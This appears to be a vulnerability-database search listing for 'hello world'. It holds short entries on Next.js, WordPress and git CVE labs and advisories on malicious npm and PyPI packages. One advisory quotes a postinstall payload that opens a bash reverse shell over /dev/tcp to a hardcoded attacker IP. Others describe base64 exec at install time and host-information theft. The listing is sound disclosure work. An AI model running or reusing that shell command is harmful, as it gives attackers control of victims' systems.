Vulnerable-Lab-NextJS-CVE-2025-29927

Next.js Docker Hello World A simple Hello World application using Next.js 12.2 and Docker. Prerequisites Docker Building and Running the Application 1. Build the Docker image: docker build -t nextjs-docker-hello . 2. Run the container: docker run -p 3000:3000 nextjs-docker-hello 3. Open your...

Next.js-CVE-2025-29927

Next.js Docker Demo A simple Hello World application built with Next.js 12.2 and Docker. Prerequisites Docker installed on your system Node.js 16 or later for local development Building the Docker Image To build the Docker image, run: docker build -t nextjs-docker-demo . Running the Container To...

CVE-2024-9224

CVE-2024-9224 Hello World = 2.1.1 - Authenticated Subscriber+ Arbitrary File Read Description The Hello World plugin for WordPress is vulnerable to Arbitrary File Reading in all versions up to, and including, 2.1.1 via the helloworldlyric function. This makes it possible for authenticated...

CVE-2017-1000117

Server Launcher for CVE-2017-1000117 Run the following command, then open your web browser and go to http://localhost:8088! $ git clone --recursive https://github.com/0gawa/CVE-2017-1000117 If "Hello World" is displayed, update git! It's vulnerable...

Malicious code in hello-world-from-lupin-99 (npm)

The package hello-world-from-lupin-99 was found to contain malicious code. --- Credit: OpenSSF source...

Malicious code in hello-world-lupin (npm)

The package hello-world-lupin was found to contain malicious code. --- Credit: OpenSSF source...

Malicious code in hello-world-from-lupin-95 (npm)

The package hello-world-from-lupin-95 was found to contain malicious code. --- Credit: OpenSSF source...

Malicious code in hello-world-target (npm)

The package hello-world-target was found to contain malicious code. --- Credit: OpenSSF source...

Malicious code in asdassd-hello-world (npm)

--- Credit: OpenSSF source...

Malicious code in asdasd-hello-world (npm)

--- Credit: OpenSSF source...

Malicious code in asdasssd-hello-world (npm)

--- Credit: OpenSSF source...

archivebox (>=0.4.6, <=0.4.21), autoneuro-pypi (1.0.0) +9 more potentially affected by CVE-2026-15830 via django (3.0.8)

django PYPI version 3.0.8 is affected by a known vulnerability. The following packages have a transitive dependency on django and may be impacted: - archivebox =0.4.6, =0.1.3, =1.2.0, =0.3.1, =1.0.1, =0.6.11, =0.9.1 Source cves: CVE-2026-15830 Source advisory: OSV:PYSEC-2026-3717...

Malicious Package

Overview hello-world-pkg-value-value-p is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious code in hello-world-pkg-value-value-p (npm)

Source: amazon-inspector d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89 This package's postinstall hook executes node index.js, which runs execSync'bash -i & /dev/tcp/52.249.218.132/8080 0&1' — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP...

Malicious code in hello-world-package-test (PyPI)

Source: kam193 8ee148c559a9993ef0660c9183434ff59d2f6430a126a5913ef9a8341b9014ff Generic campaign for all likely research / pentests, where the amount or art of collected data raises questions about the privacy, security and ethical side. --- Category: MALICIOUS - The campaign has clearly maliciou...

Malicious code in hello-world-test-mh2 (PyPI)

--- Credit: OpenSSF source...

Malicious code in hello-world-installer-test (PyPI)

Source: kam193 aef5897e3e41898c7d14d6acf00254f63adbd159b1a9cc9adba26603edee668c Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTEST - Packages looking like typical pentest packages, but al...

Malicious code in hello-world-test-mh3 (PyPI)

--- Credit: OpenSSF source...

MAL-2026-10908 Malicious code in hello-world-test-mh3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 876b02450317c42447a25bd7f858fab9b44469580c662fbf4cd48ebf7a299edd Package is a trivial hello-world test artifact. setup.py contains an execbase64.b64decode... call at install time, but the decoded payload is a singl...

MAL-2026-10907 Malicious code in hello-world-test-mh2 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 68a70ea37beb115e4464b5e9ebaf58986f4cd75434257163f4ddb82f5624ea13 setup.py decodes a base64 string and passes the result to exec at install time. The decoded payload is a single print statement that emits a benign...